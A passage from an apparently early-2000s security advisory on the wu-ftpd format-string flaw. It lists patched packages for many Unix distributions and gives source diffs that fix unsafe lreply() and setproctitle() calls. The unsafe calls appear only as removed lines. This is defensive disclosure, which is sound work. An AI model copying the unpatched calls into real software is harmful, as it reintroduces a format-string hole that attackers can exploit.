6.1 and 6.0 available. If you use RH 4.2, sorry, but no patch this time. For Debian GNU/Linux 2.1 alias slink: Source archives: http://security.debian.org/dists/slink/updates/source/wu-ftpd-academ_2.4.2.16-13.1.diff.gz http://security.debian.org/dists/slink/updates/source/wu-ftpd-academ_2.4.2.16-13.1.dsc http://security.debian.org/dists/slink/updates/source/wu-ftpd-academ_2.4.2.16.orig.tar.gz Intel ia32 architecture: http://security.debian.org/dists/slink/updates/binary-i386/wu-ftpd-academ_2.4.2.16-13.1_i386.deb Sun Sparc architecture: http://security.debian.org/dists/slink/updates/binary-sparc/wu-ftpd-academ_2.4.2.16-13.1_sparc.deb For Debian 2.2 alias potato: Source archives: http://security.debian.org/dists/potato/updates/main/source/wu-ftpd_2.6.0-5.1.diff.gz http://security.debian.org/dists/potato/updates/main/source/wu-ftpd_2.6.0-5.1.dsc http://security.debian.org/dists/potato/updates/main/source/wu-ftpd_2.6.0.orig.tar.gz Architecture indendent archives: http://security.debian.org/dists/potato/updates/main/binary-all/wu-ftpd-academ_2.6.0-5.1_all.deb Alpha architecture: http://security.debian.org/dists/potato/updates/main/binary-alpha/wu-ftpd_2.6.0-5.1_alpha.deb ARM architecture: http://security.debian.org/dists/potato/updates/main/binary-arm/wu-ftpd_2.6.0-5.1_arm.deb Intel ia32 architecture: http://security.debian.org/dists/potato/updates/main/binary-i386/wu-ftpd_2.6.0-5.1_i386.deb PowerPC architecture: http://security.debian.org/dists/potato/updates/main/binary-powerpc/wu-ftpd_2.6.0-5.1_powerpc.deb Sun Sparc architecture: http://security.debian.org/dists/potato/updates/main/binary-sparc/wu-ftpd_2.6.0-5.1_sparc.deb For Conectiva Linux: ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0/i386/wu-ftpd-2.6.0-11cl.i386.rpm ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0es/i386/wu-ftpd-2.6.0-11cl.i386.rpm ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.1/i386/wu-ftpd-2.6.0-11cl.i386.rpm ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.2/i386/wu-ftpd-2.6.0-11cl.i386.rpm ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/5.0/i386/wu-ftpd-2.6.0-11cl.i386.rpm ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/servidor-1.0/i386/wu-ftpd-2.6.0-11cl.i386.rpm For OpenLinux: OpenLinux Desktop 2.3 ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/RPMS/ ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/SRPMS OpenLinux eServer 2.3 and OpenLinux eBuilder for ECential 3.0 ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/RPMS/ ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/SRPMS OpenLinux eDesktop 2.4 ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/RPMS/ ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/SRPMS For SuSE Linux (For SuSE 6.0, please use the 6.1 updates): AXP: ftp://ftp.suse.com/pub/suse/axp/update/6.1/n1/wuftpd-2.6.0-121.alpha.rpm ftp://ftp.suse.com/pub/suse/axp/update/6.3/n1/wuftpd-2.6.0-121.alpha.rpm ftp://ftp.suse.com/pub/suse/axp/update/6.4/n1/wuftpd-2.6.0-121.alpha.rpm i386: ftp://ftp.suse.com/pub/suse/i386/update/6.1/n1/wuftpd-2.6.0-122.i386.rpm ftp://ftp.suse.com/pub/suse/i386/update/6.2/n1/wuftpd-2.6.0-121.i386.rpm ftp://ftp.suse.com/pub/suse/i386/update/6.3/n1/wuftpd-2.6.0-121.i386.rpm ftp://ftp.suse.com/pub/suse/i386/update/6.4/n1/wuftpd-2.6.0-122.i386.rpm PPC: ftp://ftp.suse.com/pub/suse/ppc/update/6.4/n1/wuftpd-2.6.0-121.ppc.rpm For Slackware Linux: The wu-ftpd daemon is part of the tcpip1.tgz package in the N series. A new tcpip1.tgz package is now available in the Slackware 7.1 tree. Slackware team have also provided a seperate patch package for users who have already installed Slackware 7.1 and just want the new FTP daemon. A seperate wu-ftpd-only patch package is available in the patches/ subdirectory: ftp://ftp.slackware.com/pub/slackware/slackware-7.1/patches/ For Mandrake Linux: 6.0/RPMS/wu-ftpd-2.6.0-7mdk.i586.rpm src: 6.0/SRPMS/wu-ftpd-2.6.0-7mdk.src.rpm 6.1/RPMS/wu-ftpd-2.6.0-7mdk.i586.rpm src: 6.1/SRPMS/wu-ftpd-2.6.0-7mdk.src.rpm 7.0/RPMS/wu-ftpd-2.6.0-7mdk.i586.rpm src: 7.0/SRPMS/wu-ftpd-2.6.0-7mdk.src.rpm 7.1/RPMS/wu-ftpd-2.6.0-7mdk.i586.rpm src: 7.1/SRPMS/wu-ftpd-2.6.0-7mdk.src.rpm For FreeBSD: 1) Upgrade your entire ports collection and rebuild the wu-ftpd port. 2) Deinstall the old package and install a new package dated after the correction date (2000-07-05), obtained from: ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/ftp/wu-ftpd-2.6.0.tar.gz ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/ftp/wu-ftpd-2.6.0.tar.gz ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-4-stable/ftp/wu-ftpd-2.6.0.tar.gz ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/ftp/wu-ftpd-2.6.0.tar.gz ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-5-current/ftp/wu-ftpd-2.6.0.tar.gz 3) download a new port skeleton for the wu-ftpd port from: http://www.freebsd.org/ports/ and use it to rebuild the port. Two temporary ftpd binaries (for HP-UX 11.00 and HP-UX 10.20) can be found at: ftp://ftp.cup.hp.com/dist/networking/ftp/ftpd.11.0 ftp://ftp.cup.hp.com/dist/networking/ftp/ftpd.10.20 ftp://ftp.cup.hp.com/dist/networking/ftp/ftpd.10.00-10.10 These are to be installed in /usr/lbin/ftpd, with permissions 544. Also. be sure to upgrade to ProFTPD 1.2.0 The setproctitle bug is in OpenBSD can be solved by going to: http://www.openbsd.org/errata.html#ftpd Slackware Linux Project: ftp://ftp.slackware.com/pub/slackware/slackware-7.1/patches/wu-ftpd-patch.README For Turbo Linux: ftp://ftp.turbolinux.com/pub/updates/4.0/security/wu-ftpd-2.6.1-1.i386.rpm ftp://ftp.turbolinux.com/pub/updates/4.0/SRPMS/wu-ftpd-2.6.1-1.src.rpm Note: You must rebuild and install the RPM if you choose to download and install the SRPM. Simply installing the SRPM alone WILL NOT CLOSE THE SECURITY HOLE. There aren\'t any patches for wu-ftpd-academ. Tomasz Grabowski made a patch for that bug so You don\'t need to change Your wu-ftpd-academ to wu-ftpd if You don\'t want. --- src/ftpcmd.y.orig Tue Jun 27 16:57:36 2000 +++ src/ftpcmd.y Tue Jun 27 17:00:42 2000 @@ -1590,13 +1590,13 @@ } else { int lines = 0; - lreply(200, cmd); + lreply(200, \"%s\", cmd); while (fgets(buf, sizeof buf, cmdf)) { int len = strlen(buf); if (len>0 && buf[len-1]==\'n\') buf[--len] = \'\'; - lreply(200, buf); + lreply(200, \"%s\", buf); if (++lines >= 20) { lreply(200, \"*** Truncated ***\"); break; --- src/ftpd.c.orig Tue Jun 27 17:05:30 2000 +++ src/ftpd.c Tue Jun 27 17:06:37 2000 @@ -1775,7 +1775,7 @@ reply(230, \"User %s logged in.%s\", pw->pw_name, guest ? \" Access restrictions apply.\" : \"\"); sprintf(proctitle, \"%s: %s\", remotehost, pw->pw_name); - setproctitle(proctitle); + setproctitle(\"%s\", proctitle); if (logging) syslog(LOG_INFO, \"FTP LOGIN FROM %s [%s], %s\", remotehost, remoteaddr, pw->pw_name); @@ -3337,7 +3337,7 @@ remotehost[sizeof(remotehost)-1]=\'\'; sprintf(proctitle, \"%s: connected\", remotehost); - setproctitle(proctitle); + setproctitle(\"%s\", proctitle); #if 0 /* this is redundant unless the caller doesn\'t do *anything*, and tcpd will pick it up and deal with it better anyways. _H*/ However, wu-ftpd-academ is a dead branch and you should update to 2.6.0 or higher. Try this one to workaround: diff -ur wu-ftpd-orig/src/ftpcmd.y wu-ftpd-2.6.0/src/ftpcmd.y --- wu-ftpd-orig/src/ftpcmd.y Wed Oct 13 08:15:28 1999 +++ wu-ftpd-2.6.0/src/ftpcmd.y Thu Jun 22 22:44:41 2000 @@ -1926,13 +1926,13 @@ } if (!maxfound) maxlines = defmaxlines; - lreply(200, cmd); + lreply(200, \"%s\", cmd); while (fgets(buf, sizeof buf, cmdf)) { size_t len = strlen(buf); if (len > 0 && buf[len - 1] == \'n\') buf[--len] = \'\'; - lreply(200, buf); + lreply(200, \"%s\", buf); if (maxlines <= 0) ++lines; else if (++lines >= maxlines) { diff -ur wu-ftpd-orig/src/ftpd.c wu-ftpd-2.6.0/src/ftpd.c --- wu-ftpd-orig/src/ftpd.c Thu Jun 22 22:23:40 2000 +++ wu-ftpd-2.6.0/src/ftpd.c Thu Jun 22 22:45:23 2000 @@ -3157,7 +3157,7 @@ reply(230, \"User %s logged in.%s\", pw->pw_name, guest ? \" Access restrictions apply.\" : \"\"); sprintf(proctitle, \"%s: %s\", remotehost, pw->pw_name); - setproctitle(proctitle); + setproctitle(\"%s\", proctitle); if (logging) syslog(LOG_INFO, \"FTP LOGIN FROM %s, %s\", remoteident, pw->pw_name); /* H* mod: if non-anonymous user, copy it to \"authuser\" so everyone can @@ -5912,7 +5912,7 @@ remotehost[sizeof(remotehost) - 1] = \'\'; sprintf(proctitle, \"%s: connected\", remotehost); - setproctitle(proctitle); + setproctitle(\"%s\", proctitle); wu_authenticate(); /* Create a composite source identification string, to improve the logging For NetBSD: ftp://ftp.netbsd.org/pub/NetBSD/packages/pkgsrc/net/wu-ftpd/README.html Since the OPIE software doesn\'t appear to be actively maintained any more, here\'re (trivial) patches to the recent setproctitle() thing. Actually this is against the version from the FreeBSD source tree, so the offsets may be a bit different. We don\'t actually compile this code in FreeBSD, it\'s just along for the ride under /usr/src/contrib with the other OPIE stuff that we do use. Index: opieftpd.c =================================================================== RCS file: /home/ncvs/src/contrib/opie/opieftpd.c,v retrieving revision 1.3 diff -u -r1.3 opieftpd.c --- opieftpd.c 2000/04/10 11:18:47 1.3 +++ opieftpd.c 2000/07/10 07:23:02 @@ -633,7 +633,7 @@ #if DOTITLE snprintf(proctitle, sizeof(proctitle), \"%s: anonymous/%s\", remotehost, passwd); - setproctitle(proctitle); + setproctitle(\"%s\", proctitle); #endif /* DOTITLE */ syslog(LOG_NOTICE, \"ANONYMOUS FTP login from %s with ID %s\", remotehost, passwd); @@ -644,7 +644,7 @@ #if DOTITLE snprintf(proctitle, sizeof(proctitle), \"%s: %s\", remotehost, pw->pw_name); - setproctitle(proctitle); + setproctitle(\"%s\", proctitle); #endif /* DOTITLE */ syslog(LOG_INFO, \"FTP login from %s with user name %s\", remotehost, pw->pw_name); } @@ -1262,7 +1262,7 @@ remotehost[sizeof(remotehost) - 1] = \'\'; #if DOTITLE snprintf(proctitle, sizeof(proctitle), \"%s: connected\", remotehost); - setproctitle(proctitle); + setproctitle(\"%s\", proctitle); #endif /* DOTITLE */ t = time((time_t *) 0);